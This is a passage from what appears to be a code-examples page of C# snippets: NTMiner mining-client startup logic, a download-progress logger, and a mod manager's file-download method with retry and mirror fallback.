                         }, pathId: PathId.Empty, this.GetType());
                     }
                     AppRoot.NotifyIcon = ExtendedNotifyIcon.Create("群控客户端", isMinerStudio: true);
                     VirtualRoot.Execute(new ShowMinerClientsWindowCommand(isToggle: false));
                 });
             });
         }, btnCloseClick: () => {
             Shutdown();
         });
         #region 处理显示主界面命令
         VirtualRoot.AddCmdPath <ShowMainWindowCommand>(action: message => {
             VirtualRoot.Execute(new ShowMinerClientsWindowCommand(isToggle: message.IsToggle));
         }, location: this.GetType());
         #endregion
         HttpServer.Start($"http://{NTKeyword.Localhost}:{NTKeyword.MinerStudioPort.ToString()}");
     }
     else
     {
         try {
             _appViewFactory.ShowMainWindow(this, NTMinerAppType.MinerStudio);
         }
         catch (Exception) {
             DialogWindow.ShowSoftDialog(new DialogWindowViewModel(
                                             message: "另一个群控客户端正在运行但唤醒失败,请重试。",
                                             title: "错误",
                                             icon: "Icon_Error"));
             Process currentProcess = Process.GetCurrentProcess();
             NTMiner.Windows.TaskKill.KillOtherProcess(currentProcess);
         }
     }
     base.OnStartup(e);
 }
Exemple #21
0
 private static void DownloaderOnDownloadProgressNotification(FileDownloader fileDownloader, FileDownloadProgressEventArgs fileDownloadProgressEventArgs)
 {
     lock (DoneLockObject)
     {
         Done++;
         Console.WriteLine(
             fileDownloadProgressEventArgs.Exception != null
                 ? "{0}: [{1}/{2}]: Error while downloading {3}: {4}"
                 : "{0}: [{1}/{2}]: Successfully downloaded {3}",
             DateTime.Now,
             Done,
             Total,
             fileDownloadProgressEventArgs.FileDownloadInfo.Identifier,
             fileDownloadProgressEventArgs.Exception);
     }
 }
Exemple #22
0
        /// <summary>
        /// Downloads the speificed file to the specified location.
        /// </summary>
        /// <remarks>
        /// This method starts the download and returns.
        ///
        /// If the given <paramref name="p_strSavePath"/> already exists, an attempt will be made to
        /// resume the download. If the pre-existing file is not a partial download, or the download
        /// cannot be resumed, the file will be overwritten.
        /// </remarks>
        /// <param name="p_uriURL">The URL list of the file to download.</param>
        /// <param name="p_dicCookies">A list of cookies that should be sent in the request to download the file.</param>
        /// <param name="p_strSavePath">The path to which to save the file.
        /// If <paramref name="p_booUseDefaultFileName"/> is <c>false</c>, this value should be a complete
        /// path, including filename. If <paramref name="p_booUseDefaultFileName"/> is <c>true</c>,
        /// this value should be the directory in which to save the file.</param>
        /// <param name="p_booUseDefaultFileName">Whether to use the file name suggested by the server.</param>
        public void DownloadAsync(List <Uri> p_uriURL, string p_strSavePath, bool p_booUseDefaultFileName)
        {
            System.Diagnostics.Stopwatch swRetry = new System.Diagnostics.Stopwatch();
            int retries = 1;
            int i       = 0;
            Uri uriURL  = p_uriURL[i];

            ItemProgress = i;
            Status       = TaskStatus.Running;

            while ((retries <= m_intRetries) || (Status != TaskStatus.Paused) || (Status != TaskStatus.Queued))
            {
                if ((Status == TaskStatus.Paused) || (Status == TaskStatus.Queued))
                {
                    break;
                }
                else if (Status == TaskStatus.Retrying)
                {
                    Status = TaskStatus.Running;
                }

                m_fdrDownloader = new FileDownloader(uriURL, p_strSavePath, p_booUseDefaultFileName, m_intMaxConnections, m_intMinBlockSize, m_strUserAgent);
                m_steState      = new State(true, uriURL, p_strSavePath, p_booUseDefaultFileName);
                m_fdrDownloader.DownloadComplete += new EventHandler <CompletedDownloadEventArgs>(Downloader_DownloadComplete);
                ShowItemProgress        = false;
                OverallProgressMaximum  = (Int64)(m_fdrDownloader.FileSize / 1024);
                OverallProgressMinimum  = 0;
                OverallProgressStepSize = 1;
                OverallProgress         = (Int64)m_fdrDownloader.DownloadedByteCount;

                if (Status == TaskStatus.Cancelling)
                {
                    retries = m_intRetries;
                }
                else if (Status == TaskStatus.Paused)
                {
                    break;
                }

                if (!m_fdrDownloader.FileExists)
                {
                    if (m_fdrDownloader.FileNotFound)
                    {
                        swRetry.Start();
                        retries        = 1;
                        OverallMessage = String.Format("File not found on this server, retrying.. ({0}/{1})", retries, m_intRetries);
                        Status         = TaskStatus.Retrying;

                        if (i++ == p_uriURL.Count)
                        {
                            Status = TaskStatus.Error;
                            OnTaskEnded(String.Format("File does not exist: {0}", uriURL.ToString()), null);
                            return;
                        }

                        ItemProgress = i;
                        uriURL       = p_uriURL[i];

                        while ((swRetry.ElapsedMilliseconds < m_intRetryInterval) && swRetry.IsRunning)
                        {
                            if ((Status == TaskStatus.Cancelling) || (Status == TaskStatus.Paused) || (Status == TaskStatus.Queued))
                            {
                                break;
                            }
                        }

                        swRetry.Stop();
                        swRetry.Reset();
                    }
                    else if (m_fdrDownloader.ErrorCode == "666")
                    {
                        ErrorCode = m_fdrDownloader.ErrorCode;
                        ErrorInfo = m_fdrDownloader.ErrorInfo;
                        Status    = TaskStatus.Error;
                        OnTaskEnded(m_fdrDownloader.ErrorInfo, null);
                        return;
                    }
                    else if (++retries <= m_intRetries)
                    {
                        swRetry.Start();
                        OverallMessage = String.Format("Server busy or unavailable, retrying.. ({0}/{1})", retries, m_intRetries);
                        Status         = TaskStatus.Retrying;

                        if ((retries == m_intRetries) && (++i < p_uriURL.Count))
                        {
                            ItemProgress = i;
                            retries      = 1;
                            uriURL       = p_uriURL[i];
                        }

                        while ((swRetry.ElapsedMilliseconds < m_intRetryInterval) && swRetry.IsRunning)
                        {
                            if ((Status == TaskStatus.Cancelling) || (Status == TaskStatus.Paused) || (Status == TaskStatus.Queued))
                            {
                                break;
                            }
                        }

                        swRetry.Stop();
                        swRetry.Reset();
                    }
                    else
                    {
                        Status = TaskStatus.Error;
                        OnTaskEnded(String.Format("Error trying to get the file: {0}", uriURL.ToString()), null);
                        return;
                    }
                }
                else
                {
                    break;
                }
            }

            if (ModRepository.IsOffline)
            {
                this.Pause();
            }
            else if (Status == TaskStatus.Running)
            {
                m_fdrDownloader.StartDownload();
                m_tmrUpdater.Start();
            }
        }